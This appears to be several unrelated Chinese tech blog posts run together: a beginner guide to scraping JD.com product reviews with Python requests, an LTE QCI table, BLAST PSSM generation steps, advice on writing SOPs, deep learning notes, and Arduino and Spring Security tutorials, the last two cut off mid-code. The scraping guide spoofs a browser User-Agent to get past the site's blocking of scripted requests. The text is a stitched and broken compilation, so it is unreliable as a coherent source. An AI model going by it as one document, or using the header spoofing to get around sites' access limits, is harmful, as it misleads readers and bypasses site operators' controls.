我是Python小白,我会用比较通俗易懂的方法告诉你如何去爬取数据。 一开始,我们需要pycharm(也就是我们编代码的工具),其次我们需要打开我们需要爬取数据的网页,我以鞋子为例。 那么,接下来就开始吧 首先,我们打开某东,搜索鞋子。 随便点进去一个,找到他的评价 右击空白处,点检查, 出现以下界面时,我们点Network, 然后刷新我们找到的京东鞋子界面,就可以看到他出来很多东西,如下图所示 这时候,我们打开评论,随便找到一个评论,复制一下,然后找到有一个放大镜一样的东西那,点开,然后粘贴我们刚才复制的评论。 就可以看到这些东西 我们点开,发现右边Name里面有这些东西,我们直接复制这个URL。 好了,我们找到了关键的东西。那么接下来我们来编写代码 首先,第一行 是import requests 第二行就是resp=requests.get(‘URL’)[此处URL就是你自己找的] 第三行就是print(resp.text)。 其实拥有这三行代码就可以了,但是呢,我们是在pycharm中爬取的数据,京东只有在浏览器访问时才会允许我们,我们用pycharm访问时,不会给我们, 如下如所示 为了解决这个问题呢,我们可以让我们的python程序伪装成浏览器,我们需要添加一个东西,请求头, 首先,我们随便打开一个浏览器,右击空白部位,点击检查。 点进去后我们点击网络,然后刷新一下这个网页。 我们随便点开一项,看标头里面有一个User-Agent,我们直接复制。 然后我们再来补充一行代码 headers={‘User-Agent’:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Edg/94.0.992.50’}//此处这个是我找的,你们找的是什么就粘贴什么。 get函数里面最后加一个headers=headers。 ------------------------------------------------------------------------------------------- 下面是代码模板 import requests headers={'user-agent': '你自己找的user-agent'} resp=requests.get('你自己想要爬取数据的网页URL',headers=headers) print(resp.text) ---------------------------------------------------------------------------------------- 下面是我找的一个(可以直接复制粘贴) import requests headers={'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 SLBrowser/7.0.0.6241 SLBChan/30'} resp=requests.get('https://club.jd.com/comment/productPageComments.action?callback=fetchJSON_comment98&productId=10335871588&score=0&sortType=5&page=0&pageSize=10&isShadowSku=0&fold=1',headers=headers) print(resp.text) 结果就是这个,我随便截了一小部分。 总结起来,只有三点,第一点,写好代码模型,第二点,找到URL,第三点,找到User-agent。 最后,给初学者一个用python创建.txt文档的代码

LTE QCI

QCI的作用,比如打电话,打电话有一个过程,首先会建立信道,中间在建立一个EPS bearer,在EPS中会携带者一个qci。可以直接看QCI描述。 可以直接查看百度百科:QCI百度百科 QCI表示Qos类别指示。这是一种特定标识 ,其定义了LTE数据报通信的质量。 QCIL类别范围 1~9(每个类别的定义如下表所示) QCIResource TypePriorityPacket Delay Budget(NOTE 1)Packet Error Loss Rate(NOTE 2)Example Services 1 GBR2100 msConversational Voice24150 msConversational Video(Live streaming)3350 msReal Time Gaming 45300 msNon-conversational voice(buffered streaming)5Non-GBR1100 msIMS signaling66300ms Video (buffered streaming), TCP-based (e.g. www, email, chat, ftp, p2p file sharing, progressive video,etc) 77100 ms Voice, Video (live streaming), interactive gaming 88300 ms Video (buffered streaming), TCP-based (e.g. www, email, chat, ftp, p2p file sharing, progressive video,etc)

Blast生成蛋白质序列位置特异性矩阵-PSSM矩阵详细版

在学习蛋白质蛋白质相互作用时看到了PSSM矩阵,就学习了一下如何生成的,具体步骤如下。 1.下载安装 网址:https://ftp.ncbi.nlm.nih.gov/blast/executables/blast+/LATEST/ 2.正常运行安装 此处并不产生任何快捷方式,不要反复下(都是踩过的坑)。 会产生一个blast文件夹 3.cmd-运行-powershell cd指令进入blast 或者 在blast中shift键+右击,进入powershell 4.下载数据库 网址:​​​​https://ftp.ncbi.nlm.nih.gov/blast/db/ 一定要进入 FASTA/ 文件夹!! 由于nr太大,我尝试了swissprot的数据,并把它放在了新创建的db文件夹下,以下以它为例。 5. 对下载的数据进行处理,使其数据格式化 cd 进入db文件夹下,执行bin文件夹下的 makeblastdb.exe(这个可以直接拖进去) C:\Users\86150\Desktop\PSSM\blast\bin\makeblastdb.exe -in swissprot -dbtype prot -title “swissprot” -out lxsp lxsp是转换完各种数据库的名字…… 6.目标蛋白质序列,此处以1个蛋白质序列为例,.txt文件就可以。第一行是头部,第二行是序列: >aa SHMRPEPRLITILFSDIVGFTRMSNALQSQGVAELLNEYLGEMTRAVFENQGTVDKFVGDAI 7.生成PSSM矩阵 命令行:C:\Users\86150\Desktop\PSSM\blast\bin\psiblast.exe -db lxsp -query 1.txt -evalue 0.001 -num_iterations 3 -out_ascii_pssm 1.pssm -db 后面是数据库 -query 查找蛋白质文件 -evalue 应该是什么参数,-evalue 0.001 没有也能生成PSSM矩阵,这个后期学习补充,或者路过有知道的请评论。 -num_iterations 迭代次数 -out_ascii_pssm 生成文件 8.运行结果 运行结果需要下载notepad查看,前10列就是PSSM矩阵。 9.结论 数据库要下对,格式再转换,就没有坑了。 这是针对一条序列,在windows本地的操作,后期如果写论文用到此矩阵会追加批处理的方法,还有nr的服务器操作。 10.参考文章 psiblast生成pssm矩阵及psiblast参数详解_阿斯达克-CSDN博客 蛋白质序列位置特异性矩阵(PSSM)的获取 - Roronoa-Zoro - 博客园

如何编写一份SOP?

SOP是啥? 进入公司,就会发现每个公司都会有一套属于自己的流程,无论是管理方面的还是运营方面的。而这套流程是需要文件来规范的,其中一个文件就是SOP。SOP主要是用于规范操作和规范使用的仪器的。 它就是一本傻瓜手册,傻瓜到就算你没有任何专业知识背景,也能完成分配给你的工作,大家之间的差别只体现在熟练度。 先让我们随手举个例子来理解一下 SOP ,比如我们要写一个「把大象放到冰箱里」的流程: 到底哪一个才是 SOP 呢? 有图有真相的 C 才是一份 SOP ,为什么 B 不是?因为它隐藏了一些专业知识,首先你得知道什么是冰箱,什么是大象,其次还得知道这个叫冰箱的东西怎么打开。 “制造”就是以规定的成本、规定的工时、生产出品质均匀、符合规格的产品。要达到上述目的,如果制造现场之作业如工序的前后次序随意变更,或作业方法或作业条件随人而异有所改变的话,一定无法生产出符合上述目的的产品。 因此,必须对作业流程、作业方法、作业条件加以规定并贯彻执行,使之标准化。 四大目的 技术储备 提高效率 防止再发 教育训练 标准化的作用主要是把企业内的成员所积累的技术、经验,通过文件的方式来加以保存,而不会因为人员的流动,整个技术、经验跟着流失。达到个人知道多少,组织就知道多少,也就是将个人的经验(财富)转化为企业的财富; 更因为有了标准化,每一项工作即使换了不同的人来操作,也不会因为不同的人,在效率与品质上出现太大的差异。如果没有标准化,老员工离职时,他将所有曾经发生过问题的对应方法、作业技巧等宝贵经验装在脑子里带走后,新员工可能重复发生以前的问题,即便在交接时有了传授,但凭记忆很难完全记住。 没有标准化,不同的师傅将带出不同的徒弟,其工作结果的一致性可想而知。 那如何写好一份SOP呢? 一、SOP的编写,必不可少的就是SOP的格式。一般来说,每个公司都会有一个固定的格式,来体现此份SOP是公司的所有物。比如说会写上哪个公司,哪个部门以及某个人在何年何月编写的SOP,一般都是插入页眉,写入这些信息。 第二个自然就是明确SOP编写的主题是什么了。题目一定要清晰明确的体现这个主题,要让人一眼就明确题旨。比如说一份介绍仪器的操作,命名就可以直接为什么仪器的操作方法(步骤)。 第三,既然SOP主要的目的是规范,那么文件内容一定要尽可能详尽,要把所有能想到的细节都囊括进去,只有这样,其他人才可能根据SOP做好事情。 第四,SOP并不是圣典,它是可以变更的。如果现有的SOP不能满足现今的操作或者管理,那么就需要变更SOP了。 当然,无论是增加,销毁还是变更一份SOP,都要经过一系列固定的流程,这些流程是赋予SOP公信力的方式,绝对不能省。最好还有专人负责SOP的管理,同时,SOP文件也要让公司所有员工都能看到,只有这样,才有助于管理。 最后,要让员工明白,所有的操作流程都要按照SOP进行,只有这样进行规范,SOP才能达到它的效用。 案例分享 ●麦当劳作业手册: 大家都熟悉的麦当劳,它有许多分店,但是口味却是一样的美味?他们的工作标准有560页!我想这也许是他们的秘密吧。 KFC的新奥尔良烤翅肯定好吃吧?他们规定炸好之后要放在滤油网上,不能多于七秒,因为这样太干燥了,不能少于三秒,否则就会太油了。

Deep Learning:A Review

Supervised learning We compute an objective function that measures the error (or distance) between the output scores and the desired pattern of scores. 我们通过计算一种目标函数来测量输出得分与目标得分之间的偏差,然后机器会修改内在可调参数来减少这种偏差,内在可调参数一般被称作“weights”。在一个典型的深度学习系统中,一般有上亿个“weights”,并且有上亿个打上标签的例子来供机器进行学习。为了调整weight向量,学习算法计算出一种梯度向量,用来表明当weight向量轻微改变时,偏差会增大或减小多少。 实践中很多人会采用 stochastic gradient descent (SGD)随机梯度下降的方法,即通过一系列过程降低偏差,并重复这一过程,直至目标函数的偏差不再降低。 图像识别的难题在于,输入-输出函数要对一些变量不敏感,例如位置、方向、物体的照明等;要对一些小变量非常敏感,例如如何分辨一只白狼和一只萨摩耶。 “浅”分类器需要更好的特征提取器来解决选择性问题,即什么特征是对图片分类来说是重要的,什么是不重要的。因此使分类器更强大可以采用非线性特征。 The conventional option is to hand design good feature extractors, which requires a considerable amount of engineering skill and domain expertise. But this can all be avoided if good features can be learned automatically using a general-purpose learning procedure.

Arduino时钟显示

oled_sh1106+ds1307 实现 前言OLED_SH1106DS1307时钟模块时间显示附 前言 Arduino 有个很强大的开源的库 u8g2 ,它支持了现在绝大多数的OLED屏幕,至于它的基本用法可以参考我的另一篇笔记,当然这只是我自己的学习笔记写的不是太好,我在文章里贴了官方参考链接可以感兴趣可以去看看。当然,你也可以参考这个博主的单片机菜鸟哥 OLED_SH1106 sh1106是一款1.3寸大小的OLED屏幕,一般有I2C接口和SPI接口,可以将其连接到Arduino Board 的硬件I2C或SPI接口,也可以用软件模拟的方式接到数字I/O口 DS1307时钟模块 硬件介绍我这里就略过了 引脚连接: SDA------>Arduino SDA SCL------>Arduino SCL VCC------>Arduino 5V GND----->Arduino GND 我使用的是,Arduino的 RTClib 库,可以自己下载,首先我们来看看它的示例程序 // Date and time functions using a DS1307 RTC connected via I2C and Wire lib #include "RTClib.h" RTC_DS1307 rtc; char daysOfTheWeek[7][12] = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"}; void setup () { Serial.begin(57600); #ifndef ESP8266 while (!Serial); // wait for serial port to connect.

springboot整合spring security(一) :身份认证,自定义用户授权管理

文章目录 springboot整合spring security使用UserDetailsService 身份认证前端html数据库1.导入security的启动依赖2.创建Customer(用户信息)、Authority(用户权限) 两个实体类3.创建查询接口CustomerRepository、AuthorityRepository4.创建RedisConfig类5.添加CustomerService业处理类 (查询用户信息和权限)6.自定义接口实现类UserDetailsServiceImpl 进行用户认证信息UserDetailsService封装7.创建SecurityConfig配置类 使用UserDetailsService进行身份认证 自定义用户授权管理1.自定义用户访问控制2.自定义用户登录控制3.自定义用户退出4.登录用户信息获取5.记住我功能一、基于简单加密Token的方式二、基于持久化Token的方式 springboot整合spring security 通过编写自定义的SecurityConfig 类继承WebSecurityConfigurerAdapter进行安全管理 WebSecurityConfigurerAdapter是security中浏览器登录设置的主类 主要使用继承后重写以下的三个方法: HttpSecurity(HTTP请求安全处理)AuthenticationManagerBuilder(身份验证管理生成器)WebSecurity(WEB安全) 使用UserDetailsService 身份认证 任务:访问localhost:8080/ 进入主页 点击一个详情页(未登录情况下) 跳转到登录login.html页面 输入正确的用户名和密码 登录成功并跳转到该详情页 spring security 提供了一个默认的用户登录页面login.html,以及提供了自动登录处理 (可以自定义用户登录 本篇文章下部分简述) 前端html index.html <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>影视直播厅</title> </head> <body> <h1 align="center">欢迎进入电影网站首页</h1> <hr> <h3>普通电影</h3> <ul> <li><a th:href="@{/detail/common/1}">飞驰人生</a></li> <li><a th:href="@{/detail/common/2}">夏洛特烦恼</a></li> </ul> <h3>VIP专享</h3> <ul> <li><a th:href="@{/detail/vip/1}">速度与激情</a></li> <li><a th:href="@{/detail/vip/2}">猩球崛起</a></li> </ul> </body> </html> 1.html <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="